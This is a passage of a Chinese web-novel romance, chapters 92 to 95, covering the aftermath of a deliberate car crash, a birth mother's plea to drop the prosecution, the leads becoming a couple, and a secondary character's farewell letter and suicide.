宋楚楚立刻像个被侵犯领地的动物大喊大叫起来,“我让你拉窗帘了吗!我说了,离我远一点,我不需要你待在房间,你比这该死的阳光更碍眼!”
于荷雅的无视宋楚楚的吼叫,双眼红肿,面容平静疲乏,她已经没有力气和宋楚楚争吵。
“宋正雄带着他那个私生子想方设法逃去了东南亚,不出意外是打算去澳洲那边定居,昨天大雨,陆屿森出了车祸,据说凌晨抢救无效死亡,陆宗信被推进了抢救室好几次,硬生生让人给救回来了,他的判决还没结束,傅知尧那边不会松口。”
于荷雅转过身,对上宋楚楚那双饱满怒火的眼,“所以你为什么要在这个时候去招惹他呢?”
“让你去国外,远离国内纷纷扰扰,你偏偏要去招惹虞晚,她身上到底有哪点值得你惦记,让你偏激地选择自毁的方式!?”
于荷雅声音全是不解和疼惜。
分明那么多种退路和选择,为什么楚楚会毫不犹豫地踩着油门撞上去,这背后代表什么,没有人比于荷雅更清楚。
这表示楚楚是不想活的,她绝望到抱着车毁人亡的念头,这怎能不让于荷雅痛苦。
病床边桌上能砸的东西都被她砸完,只剩下一束毫无攻击力的花,宋楚楚抓住,狠狠扔向于荷雅。
鲜红的玫瑰花瓣散落一地,在白色瓷砖上呈现出如血一般鲜艳的颜色。
宋楚楚深恶痛绝:“别用这种口吻教训我,你以为你是我的谁,你不是我妈,我妈已经死了!二十二年前就死了!你究竟要装聋作哑到什么时候!你根本就不配当我妈!”
啪——
宋楚楚的脸被打得偏向一边,这巴掌比虞晚打得轻,却让宋楚楚迟迟抬不起脑袋。
“你说我不配当你的妈妈,的确,我用心养育二十三年的孩子成了一个白眼狼,我这个当母亲的最大的失败就是教育出你这样不争气的孩子,我当然不配当你的妈妈!”
于荷雅满脸泪水,心如刀绞,手握成拳不停敲打自己胸口,好缓解那股难以下咽的怨悔。
早知如此,她就该用强硬手段逼迫楚楚去国外,而不是害怕楚楚没有做好准备,给她时间明白她的良苦用心。
楚楚怎么会明白一个母亲的良苦用心,她年纪还那么小,她什么都不懂。
宋楚楚红了眼,“口口声声说着爱我,现在斥责我不争气,终于露出你的真面目了,你让我去国外我就去国外,凭什么?凭什么我灰溜溜逃去国外,虞晚享受所有本该属于我的东西,我做错了什么?!是宋正雄贪污,是他联合陆宗信谋杀傅知尧的父母,不是我!为什么我要遭受这一切?为什么不直接让我去死,让我拖着这样一条不能动的腿,让我下半辈子坐在轮椅上,让我就这么苟活下去?!”
宋楚楚发了狠地拍着自己毫无知觉的大腿,崩溃大哭:“你为我考虑,你让我怎么走,怎么离开!?”
一切都迟了。
早在虞晚改变剧情的那一刻就迟了,她怎么都比不过虞晚,虞晚是陆随童年的玩伴,感情比她深厚,虞晚是傅知尧的秘书,两人日久生情,而她呢,像是双眼被蒙蔽的人,还自以为是认为虞晚比不过她。
宋楚楚痛恨虞晚,痛恨那个预知梦,如果不是梦,她尚且能愚钝地继续活下去,她痛恨告诉她真相的陆屿森,如果不是他,她接受于荷雅的好意就成了一件顺理成章的事情。
为什么要告诉她她原本拥有的一切,为什么又残忍地剥夺属于她的一切。
宋楚楚哭得喘不上气,于荷雅将宋楚楚抱进自己怀里,安抚地拍着她的背,不停道歉:“是妈妈的错,是妈妈不好,你要怪就怪妈妈……”
叩叩叩。
门口传来敲门声,片刻,两位穿着警服的警察走进病房。
看到病床边依偎着痛哭的母女俩人,很是愣了一下才出示证件,话语冰冷:“宋女士,我们是海市华新路交警大队民警,现依法针对昨日于华新路发生的车祸一事对你进行调查和询问,请你如实配合……”
宋楚楚眼泪风干在脸上,她瞬间慌了神,死死抓住于荷雅的手臂,徒劳做着挣扎。
“我不想进监狱,我不想进监狱,虞晚和傅知尧不是还没死吗?妈妈,救救我,救救我!”
第93章
虞晚在医院病房内静养的时间并不无聊,尽管车祸的消息在当天就被傅氏公关部第一时间压了下来,但耐不住公司里有小灵通的存在。
于是,准许探病的时间,虞晚病房的门就没关上过,看病的人一波接一波地来。
大概是不敢多打扰隔壁病房的傅知尧,基本是将鲜花和果篮放到傅知尧病房,和傅知尧打个招呼后就拎着其他东西来了她的病房。
好在vip病房足够宽敞,容得下那么多人——
公司里前来慰问表达关心的人事,卫羡为领头人的公司管理层干部,主题公园团队成员,好友赖言栩孙柠和毛新灵,还有趁着周末放假和马吟芳一起来的傅许安。
她怀里抱着一大束的粉雪山玫瑰和百合,看到摆在虞晚病床桌上唯一一束鲜妍的红玫瑰,当即眨着眼好奇问虞晚:“是不是追你的人送给你的?”
不然那么多花束,怎么就只把这一束摆在床头呢。
傅许安踮起脚数了数,还没数完,讶异出声:“好多朵呀,有没有99朵呢?”
虞晚窘。
不是因为傅许安提出的问题多么难以回答,主要是马吟芳在一旁笑吟吟地看着她,眼神慈爱温和,让虞晚有些不好意思。
毕竟,这束玫瑰花的确是傅知尧买的。
他十分霸道地将其他人送来的花束放到客厅,只给她床头留下这99朵红玫瑰,俗气却热烈,让虞晚每晚入梦时鼻尖都是淡淡的馨香。
虞晚正纠结该怎么回答时,傅知尧便出声了。
他左手臂还打着石膏固定在胸前,姿态一贯的倨傲,微屈长腿坐在沙发上,狭长漆黑的眼眸一眯,警告道:“傅许安,你作业写完了吗?”
傅许安扭过头,连手带脚比划:“我在关心虞晚姐姐,你在这里干什么,这么大一块,好碍眼!”
“学校没教你尊重长辈几个字怎么写?上学一年半,归来仍是个笨蛋。”
傅许安气得跳脚:“我们成绩不公开,但是我一直都是A+好不好!”
“行吧,九十分也是A+。”
兄妹俩斗嘴,虞晚和马吟芳对了个眼神,默契地选择不出声。
虞晚总觉得马吟芳看出她和傅知尧的感情变化,但让虞晚意外的是直到傅许安牵着她的手离开,马吟芳都没有问过她有关傅知尧的事情,只把她当一个小辈和她聊天,给她削可爱的兔子苹果吃。
探望时间过后,剩余的便是虞晚可支配的自由时间。
虞晚手机在车祸中得以幸存,傅知尧知道她心系工作,找人修好了及时给她,这两天虞晚便是在工作群里和团队成员对接工作,查看工作进度,方便她及时跟进项
目内容。
除此之外,虞晚会用电视看看新闻,她从新闻中得知陆屿森车祸去世的消息。
几乎是和她们前后脚出的车祸,但与她们这场有预谋的车祸不同,陆屿森的车祸可以说是天道轮回。
那辆深蓝色的大货车因雨天地滑,当场翻车将陆屿森的车挤压到道路侧边的水泥隔离栏,陆屿森驾驶的汽车被瞬间碾成铁皮,救护车到场也无济于事,只能不停摇脑袋,宣布陆屿森当场死亡。
虞晚看到新闻时内心没太大波动,她想起了陆随,想发消息问问他现在能不能回海市,但想起陆随先前说的新年后再联系,虞晚只能歇了这个念头。
病房门在这时吱呀一下被推开。
虞晚将电视音量减小,因为门和病床之间有遮挡专用的推拉帘,虞晚没能在第一时间里判断进来的是谁,她以为是来给她换药的护士。
“小晨?”虞晚出声。
门口迟迟没有声音。
虞晚蹙眉察觉不对劲。
她掀开被子挪到床边,刚穿好鞋,那人便从帘后显露了身形,白色护士服和护士帽,扯掉脸上的口罩,是于荷雅。
虞晚愣在原地。
不算在梦境中看到的于荷雅,这是虞晚第二次和于荷雅见面,她面容像是无端苍老了数十岁,发间隐隐有了白丝,眼眸中深深的疲态是化妆也遮盖不住的,与第一次见面时那位打扮贵气温婉的妇人相差甚远。
以至于虞晚没能在第一时间反应过来,她坐在床边,怔然看着一身护士打扮的于荷雅。
她的亲生母亲,于荷雅。
于荷雅同样紧紧盯着虞晚。
她想象过无数次虞晚长大后的模样,想象过虞晚长大后的生活,或许普普通通勉强维持温饱,或许早早嫁人操劳一生,或许连长大成人的机会都没有,一场病便带走了她,或许虞晚一辈子都不会知道她的亲生母亲是谁……
等到宋楚楚开始学会叫妈妈时,于荷雅便彻底忘记了虞晚。
她必须忘掉她。
夜深人静的时候,于荷雅抱着五个月大的宋楚楚在怀里轻声哄睡时满脑子想的都是虞晚,那个小小的婴儿,刚出生时全身红彤彤,像只皱巴巴的小老鼠,喝饱奶水后,每晚都乖乖睡在她旁边,从不哭闹,学会睁眼后,转着大眼珠子到处看,还会咧嘴笑。
病床对面那家生了个大嗓门的儿子,夜夜嚎哭,那女人说:“真想和你换个孩子。”
于荷雅抱着小婴儿的手紧了紧,一脸不屑:“谁要和你换?”
她有这个乖乖囡,谁要换那个大喇叭。
可最后,也是她亲手抛弃了她。
大人的世界总是这样,要明确利益,要计较得失,她追求辉煌腾达,想当人上人,当宋正雄的机会摆在面前时,她说服自己,她该有自己的生活,孩子不过是拖累,证明她挽回不了的爱情,证明她潦倒失败的人生。
下定决心的那一晚,于荷雅用‘晚’作了小婴儿的名,用‘于’的同音字‘虞’作了小婴儿的姓,写在一张随意扯下的纸张上,扔到小婴儿衣服边,用襁褓裹巴裹巴扔到一家孤儿院门口。
她扔掉的是多余的垃圾。
于荷雅这么告诉自己,回程的路上涕泪不止,她扔掉的,不过是多余的垃圾。
她再次告诉自己。
宋楚楚才是她的孩子。
半晌,于荷雅终于嗫嚅着张嘴:“……虞晚,你能不能撤销对楚楚的起诉,把那场车祸当做普通交通事故处理。”
虞晚没动。
于荷雅上前几步,声音踟躇,与梦中的场景截然相反,反倒是怕起虞晚,她道:“小晚?我能这么叫你吗?你应该也从楚楚那边知道了,虞晚这个名字还是我给你取的,和‘于’同音的‘虞’。”
于荷雅还要说些什么,被虞晚的眼神扼制,红了眼眶。
虞晚看着她,眼神从陌生到不解,那双水润漂亮的眼睛,是婴儿时期谁见到都会夸像她的眼睛,此刻却锋利得像一把尖刀,不停地往她心上戳,提醒着她,面前这个曾和她血乳相融的人此刻于她而言只是陌生人。
虞晚的确是不解。
这种不解甚至超过她心底无比清楚明白她的亲生母亲于荷雅并不爱自己这个事实所带来的刺痛感。
她不理解,为什么当初轻而易举就将她抛弃的人会为了宋楚楚重新在她面前摆出热络亲切的姿态。
她不理解,梦中的尖锐和针锋相对居然化为略显拘谨和尴尬的退让。
“我以为你不知道宋楚楚当时是抱着车毁人亡的念头。”虞晚声音平静,带着些微哑意,“她想要我死。”
无论傅知尧和程亮是否在那辆车上,虞晚无可否认就是宋楚楚的目标。
于荷雅双手搭在身前,捏得紧,手背泛起青筋,她眼神闪躲着,将虞晚浑身扫了个遍,也不知是在说服自己还是在说服虞晚。
她道:“虞晚,你就当我求你,你当妈妈我求你,你没有受到太大的伤害,身体看着还算康健,傅知尧不过是折断了一只胳膊,只有楚楚,楚楚她一条腿没办法走路了,医生说以后也不会好,你就当可怜可怜你的姐姐,不要让她后半生待在监狱里好不好?”
“楚楚只比你大两个月,她是妈妈看着长大的孩子,心地并不坏,是被人蛊惑了,被陆屿森和陆决风蛊惑了,她不是个坏孩子,你相信妈妈好不好,撤销起诉吧,妈妈求你了,妈妈给你下跪。”
于荷雅说着,忽然弯了膝盖,扑通一声跪在虞晚面前。
膝盖磕到地砖上的重响像是巨石砸到虞晚心头。
那一瞬,虞晚脑袋里嗡嗡直响,回声不断,脑仁极速膨胀又收缩,仿佛立刻便会爆炸,将理智炸了个全无。
虞晚极力克制发颤的嗓音:“……你不是我的妈妈,如果你是我的妈妈,你会像现在的宋楚楚妈妈这样,劝我不要原谅宋楚楚,让我坚定起诉伤害我的宋楚楚。”
难道就该因为她的痛苦不是可视化的痛苦,所以她就该原谅宋楚楚,撤销起诉?
比起这个,虞晚更奇怪自己。
她不该这样的,这样的情绪不应该出现在她心里,她不是小孩子了,不是那个会对着满月许愿被母亲寻回的小孩子了。
为什么于荷雅要用妈妈的称呼来羞辱她?
为什么于荷雅这个陌生人的话还能伤害到她?
虞晚视线开始迷糊,在她陷入晕眩前,被一个带着苦艾香气的怀抱揽入。
虞晚迷迷糊糊睁开眼,看见傅知尧。
她朝他扯了扯嘴角,露出一个难看的微笑,眼泪溢满眼眶,缓缓滑落,被傅知尧轻轻擦去。
虞晚听到傅知尧的声音。
“你不必再想方设法混进医院,从虞晚这边入手劝她撤销起诉,起诉是我的决定,和虞晚无关。我可以明确告诉你,宋楚楚只要一天没死,她就必须负担她的责任,如果你再来找虞晚,我会加快起诉流程,将宋楚楚的量刑拉到最大,我不介意让她一辈子都待在监狱那个方寸之地。”
傅知尧伤了一只手臂,没办法英雄救美地将虞晚抱走,但他身量足够高大,将虞晚半揽在怀里,遮住她通红的双眼。
傅知尧说话的声音连带着胸腔的振动,前后不同频率地传入虞晚耳朵。
“上次那个问题,虞晚没能听到我的回答,现在你可以听一听,如果
我能出现在你抛弃虞晚的那一刻,我会毫不犹豫将虞晚抱来,如果你不想养她,我可以养,如果你抛弃她,那么我永远不会。”
于荷雅弃之如敝屣,他奉若圭臬。
如果真的能穿越回虞晚小时候,他一定要给虞晚很多很多的爱,多到她可以张扬挥霍而丝毫不必心疼或者考虑回馈。
爱情的确不是比赛,不需要考虑输赢,毕竟一颗心要如何放到天平两端衡量,他喜欢虞晚,他爱虞晚。
甘愿将全部的心脏重量放上天平。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
【正文完】
第94章
傅知尧最后一句话彻底击垮于荷雅为自己塑造的安全堡垒。
她看着傅知尧将虞晚揽在怀里,手掌贴在虞晚后脑勺,即便是打上石膏的左手都虚虚护在虞晚脊背处,眼神如炬,戒备而愠怒地盯着她,好似她随时会做出伤害虞晚的行为。
于荷雅无力跌坐在地上,面孔低垂,身形佝偻颓丧,原本以为已经枯竭的眼泪此刻又缓缓流了出来。
她早该知道的,从她抛弃虞晚的那一刻她就该知道,她永远不会和虞晚成为任何意义上的母女。
她给予宋楚楚全部的关心和爱,将所有无法弥补给亲生女儿的爱放到宋楚楚身上,直到海度破产的最后一刻都在思考要如何为宋楚楚谋划出路,甚至在发生撞车事件后下跪恳求虞晚,恳求她原谅宋楚楚,撤销起诉。
为了她所谓圆满的结局原谅宋楚楚。
她不是想看到虞晚在车祸中死去,她只是还有些不甘心,她用心养育的孩子差点成为杀人犯,而她的亲生女儿是那个被嫉妒的受害者。
现在的结局,从不同角度作证她当初选择的错误,让她痛苦懊恼。
她分明享受了将近二十三年的荣华富贵,她该满足的,为什么在这一刻反倒开始后悔。
要是当初,她没有将那个小小的婴儿抛弃,要是当初,她能坚定地抱着那个小小的婴儿挤在廉租房生活,一切是不是会变得不一样?
二十三年前的选择像是一个迟来的巴掌,重重扇在她脸上。
二十三年的富贵生活教会她最多的是忍气吞声。
不必傅知尧找来的安保人员将她驱赶,于荷雅擦干净脸上的泪,站起身,兀自往门外走,走到门框处回头看了一眼虞晚。
她仍旧背对着她,一动不动,只有攥着傅知尧衣摆的指尖在泛白。
于荷雅嗓子颤了颤,最后说了一句:“……虞晚,以后也像这样,照顾好自己。”
她没资格说这话的,但于荷雅怕自己再也没机会说。
病房门合上,将安静还给傅知尧和虞晚。
察觉到虞晚埋在自己胸口的脑袋控制不住地发抖,傅知尧收回视线,手掌轻抚着虞晚的长发。
他知道虞晚现在情绪混乱需要时间思考,任何安慰或者宽解她不要将于荷雅和宋楚楚放在心里的话不过是雪上加霜。
起诉宋楚楚是他的决定,道路行驶监控、车辆内部速度监测系统都能证实宋楚楚当时有强烈的蓄意谋杀倾向,更别提撞车事故造成其他车辆的追尾和交通堵塞,宋楚楚被判决是迟早的事情,重点不在他们该不该起诉,重点在起诉后判刑的轻重。
于荷雅来找虞晚,无非是仗着虞晚道德底线高,说不定她一下跪一流泪,虞晚就会心软。
以傅知尧对虞晚的了解,虞晚恐怕不会同意于荷雅的请求,她现在悲愤起伏的情绪更多的是困惑。
困惑于缺失了二十三年的亲情在降临时显得如此荒诞戏剧,困惑于从不奢求的东西在出现后带来的不是馈赠而是索取。
太多复杂的情绪在虞晚脑子里冲荡,以至于让她晕眩。
傅知尧单只手将虞晚抱得更紧了些,片刻,低声道:“想哭就哭吧,用我衣服当纸巾也没关系。”
一句话给虞晚逗笑了,虞晚捶他后背,从他怀里抬起脑袋,眼眶还是红的,有些湿润却没有哭。
她扯了个笑:“你以为我是你。”
“我安慰你呢,不带人身攻击的。”傅知尧声音委屈,揽着她腰的手黏糊糊的像触手般缠着虞晚的腰,“明明是你先逗我的,我说喜欢你,你说要去给我找医生,顾左右而言他,我伤心。”
傅知尧不怕虞晚给他回应的时间慢,他就怕虞晚因为他老板的身份产生介怀,分明不喜欢他却迫于身份的威压不得不妥协。
他不要妥协,也不要将就,他想要的,无非是虞晚心甘情愿的一句我喜欢你。
在得到虞晚的吻之前,傅知尧是不太敢得寸进尺的,但在虞晚主动吻过他后,他便自觉将自己打上虞晚的标签。
他可以仗着虞晚喜欢他稍微得寸进尺,可以仗着虞晚喜欢他,将虞晚病房内其他花束统统放到客厅,可以仗着虞晚喜欢他,空闲时非要和她挤在一个病房看书、工作,再在走之前朝她要一个抱抱。
傅知尧恨不得时刻在虞晚周围彰显自己的存在感和重要性,碍于两人关系并未公开,傅知尧只能将两位唯一一张在傅许安运动会上被摄影师拍到的侧脸照设为主屏幕屏保,解锁手机屏幕跳进去,就能看到他和虞晚。
傅知尧语气带着点撒娇意味,尾音上扬,像个小钩子,将虞晚的目光牢牢固定。
她将脑袋重新靠在傅知尧胸膛,伸手环住傅知尧的腰身,第一次顺着心意放松而愉悦地按照自己的想法做了。
像当时那个吻,像现在这个拥抱。
傅知尧身材很好,环抱的时候给人十足的安全感,傅知尧身上的味道很好闻,苦涩的气味过后是干燥温暖的木质香调,又带着点雨后青苔的气息,让人心不自觉沉静安宁。
“傅知尧……”
虞晚的依赖来得太过突然,傅知尧没反应过来,身体有片刻僵硬,随即装作自然地继续轻拍虞晚的背。
“你说。”
这是虞晚第二次喊他的名字,他没有被冒犯的感觉。
是谁说直呼其名也是表达爱意的方式之一,那么他已经接受到虞晚的喜爱信号了。
“起诉宋楚楚的事情不需要顾忌我的亲生母亲,不要撤诉,我想要宋楚楚付出代价。”
“我知道。”
沉默几秒,虞晚继续说:“我一直没对你说喜欢,是不确定我对你的喜欢是真是假。”
傅知尧是她的老板,是给她发工资和奖金的老板,看到工资条,虞晚会心跳加速,浑身发烫发热,这种感觉在见到傅知尧时格外明显,谁让傅知尧是那个给她批准奖金的人。
她看到傅知尧就和狗看到肉骨头一样,虽然傅知尧总在冷嘲热讽,偶尔还会发脾气,但他一直在背后鼓励她去做,这比只批评不指导的老板要好太多。
虞晚没谈过恋爱,分不清两者的区别。
“而且,我怕你对我的喜欢只是一时起意。”
傅知尧的手停顿了一瞬,“为什么这么说?”
“你赚钱的速度按分钟按秒来计算,我赚钱的速度按月计算,我们两个并不站在同一高度,你说你喜欢我,就和泰山顶山的人说他看到了山底地上的一只蚂蚁,差距太大了,就算在一起,结果恐怕也不会好。”
傅知尧心脏
有些不好受,他当时一直没往这个方向想,他一直在纠结是不是自己脾气太差劲导致虞晚不喜欢自己,直到周瞿洋和程亮用不同的话语点醒他,他才正视现实差距。
他从不觉得身份和财富的差距是问题,因为他本身就站在山巅,何须俯视。
但虞晚不一样,她靠自己走到现在,清楚知道社会上地位差距造成的困境,所以她不为加班烦恼,也不因为批评自怨自艾,她总在积极解决面临的困境。
没喜欢上虞晚前,傅知尧甚至评价过虞晚是个傻子,还庆幸虞晚遇到了自己这么个好上司,但凡换个没良心的人,虞晚恐怕早就被压榨得连渣渣都不剩了。
而现在看来,他或许和那些无良老板没什么分别,同样以自我为中心,以自我为导向,从不考虑他人想法。
他得庆幸虞晚是个好人,给他再一次改正的机会。
“现在呢,现在你是怎么想的?”
虞晚感觉自己发顶被傅知尧亲了一下,温热的气息一瞬贴近。
虞晚:“……”
这人怪肉麻的,每次抱她都要仗着身高差亲她的发顶,还自以为隐藏得很好,她不会发现。
虞晚把自己走神的思维拉回来,“现在?现在还是觉得差距大。”
“净说一些我不乐意听的话。”
“没办法,谁让你现在不是我老板,是我男朋友。”
虞晚尾音含糊,试图把最后三个字带过,可傅知尧是谁?他是能在几十份汇报中精准把问题汇报揪出来的人,抓重点能力一流。
傅知尧戳虞晚的腰声音带笑:“我听到了,你给我名分了。”
虞晚:“……”
“意思是我可以公开,不需要偷偷摸摸的?”傅知尧见虞晚不回答,又戳了戳她的腰,“你是怎么想的?”
虞晚没什么好想的,她在想,还好她腰上没有痒痒肉。
虞晚从傅知尧怀里脱身,认真看着傅知尧:“我觉得我们是应该好好谈谈恋爱,从男女朋友开始,测试彼此是否合适,如果合适,就像是你说的,必须对彼此负责,如果不合适,那我们……唔。”
“我知道了,我知道了。”傅知尧按住虞晚叭叭说的嘴,“假设到前面合适的就行,我们不能在一开始就对恋爱做不合格假设,虞秘书,你恋爱态度不端正,我作为你的男朋友要批评你。”
虞晚气得戳傅知尧的腰,硬邦邦的,“不懂得谦让的男朋友,我作为你的女朋友也要批评你。”
“谈恋爱却不知道要每天至少要给我一个亲亲和一个拥抱的女朋友,我作为你的男朋友还要批评你。”
“你……别以为我不知道你偷偷摸摸亲我发顶。”
“知道我亲你发顶却不回礼还装不知道,罪加一等,罚你待会儿亲我,亲吻时间五分钟,少一秒补一分钟。”
虞晚:“……”
她算是发现了,她压根说不过傅知尧这个厚脸皮,尤其是陷入恋爱中的傅知尧。
虞晚不打算和傅知尧逞口舌之力,她仰头,认真专注地看着傅知尧,冬日阳光透过玻璃窗投下斑驳温柔的光圈,笼着病房内相拥的两人。
虞晚耳廓飞上淡淡的绯色,瞳孔内花纹若隐若现,全心全意倒映出傅知尧的脸庞。
“虽然差距很大,但我会努力弥补,至于恋爱,我没有经验,不过我希望我们有许多个未来时刻,所以,请多多指教,傅知尧男朋友。”
傅知尧心口一颤,笑容骤然深了几分。
“请多多指教,虞晚女朋友。”
——正文完——
第95章
陆宗信执行死刑当天天气阴沉,狂风时而呼啸,透过落地窗玻璃缝隙吹进来,发出类似哭泣的尖锐哀嚎声。
陆随将落地窗关紧,窗外的风声霎时变得沉闷,电视机的声音则变得清晰。
“此前,陆宗信因涉嫌买凶杀人被上法庭,海市高级人民法院依法进行取证调查,……经确认为实,同时,海市高级人民法院以贪污罪、受贿罪、非法高利贷以及不正当竞争等再次对陆宗信进行起诉,经法院复核确认为实,……涉案金额超70亿,应依法给予严惩,……维持一审对陆宗信判处死刑的刑事裁定,并于今日上午对陆宗信执行了死刑。其同伙,原海度集团董事长宋正雄在潜逃途中被遣返回国,一审死缓,二审预计年后开庭……”
新闻主持人声音字正腔圆,抑扬顿挫,即便不看字幕也能听清。
陆随端着一杯温水坐回躺椅,平静地看着电视上放出的几张图片。
基本是在法院外拍摄的画面,陆宗信坐在轮椅上,头发稀疏发白,面容肿胀变形,与七年前那个自以为杀死傅知尧父母就能目空一切的陆宗信完全是两个模样。
随着主持人的介绍,画面定格在最后一次庭审结束。
傅知尧穿着黑色西装从法庭内走出来,面容生硬冷淡,表情肃穆,身强力壮的保镖护在他身侧为他开路,无声拒绝周围媒体刨根问底式的采访,直到傅知尧上了一辆车,那些媒体才不甘心地散去。
陆随猜测,那辆车上一定坐着虞晚,否则傅知尧这样眼高于顶的人怎么会从车尾绕路坐去副驾驶。
虞晚会在这个时候来接傅知尧,自然不会是因为所谓的工作,能让虞晚心甘情愿的事情不多。
她大概已经和傅知尧在一起了。
奇怪的是,陆随并不觉得意外。
抛开傅知尧的脾气和他的个人喜恶来说,傅知尧还是有可取之处的,比如他的身价和资产,物质方面能得到充分满足,那张脸和身材也算看得过去,能迷惑许多少不经事的姑娘们。
承认傅知尧的可取之处和看不惯傅知尧这人不矛盾。
陆随大可以用大虞晚两岁的长者身份来委婉劝告虞晚离傅知尧远点,又或者提醒她在恋爱中需要注意的细节,但想想其实没必要。
虞晚是个有主意的人,谈恋爱,和谁谈恋爱,都是她自己的事情,她那么年轻,有足够的时间去体验,去经历。
陆随想了想,他还是抛不开讨厌傅知尧这个前提,傅知尧这人脾气大,性子傲,少有换位思考的时刻,而虞晚擅长忍耐,恋爱中必然是包容的一方,这样发展下去,恋爱绝对会失衡。
所以,佳苑小区那套房子就是他留给虞晚的底气。
能够拥有自己的家,一个不会被任何人赶出去的地方,不正是他和虞晚小时候最渴求实现的愿望吗。
虞晚可以在下班后将沉重的提包挂到玄关处的衣帽架上,换上一双舒服柔软的拖鞋,卸去一天工作的疲惫。
开放式厨房的岛台很大,足够虞晚将在附近超市购买的蔬菜、肉类摆放上去,晚餐制作完,虞晚或许还会拍张照片留念。
吃饱喝足,洗干净碗筷,收拾好厨房,虞晚就能去洗漱了。
她可能会在浴室一边哼歌一边洗漱,嘴里唱的歌曲一定是走调的,虞晚向来五音不全,小时候在孤儿院,每逢募捐大合唱表演,钱院长总会戳着虞晚额头骂她。
以至于那些人来孤儿院时,钱院长直接将虞晚藏起来,不允许她露面。
陆随便也没去参加合唱表演,同虞晚一起躲在狭窄的柜子里,灰蒙的光线透过老旧变形的木质柜门缝钻进来,刚好落在两人眼睛上。
虞晚好奇地问他:“陆随哥哥,你怎么不去唱歌?”
陆随撒谎骗她:“我嗓子不舒服。”
虞晚立刻就信了,一脸担忧地看着他:“啊,那我们得赶紧去找钱妈妈,让她给你拿药,喝了药,很快就会好的,就是药太苦了,你要是喝,可千万要忍住不掉眼泪,我偷偷在我的百宝箱里藏了一颗糖,你要是喝完药,我就奖励给你。”
陆随笑出来,“虞晚,你真傻。”
虞晚皱着眉头,认真反驳:“我才不傻,人生病了就是要吃药的!”
陆随端起放在桌上的水杯
,一口气将手中形状不一的药丸全部吞下。
虞晚说得对,人生病了就是要吃药,所以他一直在准时吃药,从没忘记过。
躺在椅子上等待药效发作的过程中,陆随忽然不忍心就这么不告而别,最终提笔开始给虞晚写信。
虞晚:
展信佳。
写信时,第一句总是难以落笔,大概是我还没有想要写些什么,那就写点你或许忘记的事情。
离开孤儿院那天,我一直在担心你,担心你吃饭抢不过别人,担心你玩游戏被其他人推搡摔跤,担心你被钱院长打骂关小黑屋,于是等我学会写字后,我写了一封举报钱院长的信。
说来可能是缘分,那封信最后兜兜转转到了傅知尧妈妈手上,她当时负责主持慈善基金会会,不到半个月,就查清钱院长的罪名,换成了现在的林妈妈。
林妈妈责任心强,做事认真负责,你之后的生活有没有过得更快乐些呢?
我想应该是有的。
你和林妈妈聊天时,笑容总是朗然开怀,就连那群害羞的小朋友们见了你也格外话多,他们爱凑在你身边,好奇地看着你。
林妈妈私下同我说,你变化颇多,小时候性子安静不爱说话,现在反倒有些话痨的趋势。
可我觉得是没有变化的,你还和小时候一样,一样聪明机敏,竭尽所能乐观,不为小事困扰为难自己。
沉溺过去不是件好事,所以回忆就到此为止,不必为我的选择悲伤,我不从觉得死亡是件多么可怕的事情,因为是我主动选择了死亡。
别为我担心,祝我获得自由。
陆随合上笔盖,折好信纸,重新躺回座椅,被他抓在手心的,是一个棕色毛绒熊。
那是某次募捐结束,虞晚获得的礼物。
虞晚很喜欢它,吃饭、睡觉、走路,恨不得去哪里都带着它。
被钱院长用教棍抽小腿时,虞晚也抱着它,直到钱院长说要扔掉玩具熊,虞晚抱着玩具熊跑掉。
和他一起躲在柜子里,虞晚把玩具熊塞进他怀里,握着他的手安慰他:“没关系的陆随哥哥,我们很快就会长大,等我们长大,力气就可以变大,可以打败坏人,可以离开这里了,到时候,我一定要买一个大大的房子,我们一起住,每天吃很多好吃的,一定不会饿肚子,我们会幸福快乐每一天的。”
稚嫩的童声还回荡在他耳边,他相信了虞晚说的话,握着她的手,试图从手心相触的地方汲取温度。
但他们当时还太小,不懂得命运的沉重,不懂得命运的无常,不懂得无法抗拒的命运叫归数。
天真的,自以为是的许下未来。
啪嗒一声。
轻轻的一声。
是梦碎裂的声音。
陆随缓慢合上眼,视线如同晃动模糊的镜头,回到了他七岁被陆宗信领养走的那一天。
那天下了很大的雨,飞溅的雨滴将廊下水泥地打湿一大片,灰的愈发灰,黑的愈发黑,院子里那颗高大槐树在风雨中摇曳,树叶上下拍打,吵闹至极,两人经常坐的秋千不知何时断裂,一端被粗绳扯着,一端在泥地上拖拽,划出深浅不一的痕迹。
他看到小虞晚拿着毛绒小熊朝他走来,她眼睛红红的,声音低低地喊他,“陆随哥哥。”
他看到小陆随拼命忍住眼泪,故作高冷,“叫我干什么?”
小虞晚拉住他的手,眼泪和雨滴一样落下来,滚烫地砸在他手背:“……陆随哥哥,我会想你的,你一定要开心,等我长大了,我就去找你。”
骗子。
骗子。
骗子。
说好的来找他,却根本记不起他,说好的会想他,却只有他一个人记得。
陆随眼皮越来越沉重,在世界彻底坠入黑暗前,他发现自己身体缩小,成了七岁的陆随。
小小的瘦弱的手臂,大大的结实的车门。
他没有一丝犹豫,猛地转头,朝着门口那个小小女孩儿跑去,脚步越来越快,越来越轻盈,像是被全世界的云托举,要将他送去她的身旁。
陆随用尽全力呼唤她的名字:“虞晚!我不离开!”
我不离开啊……魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m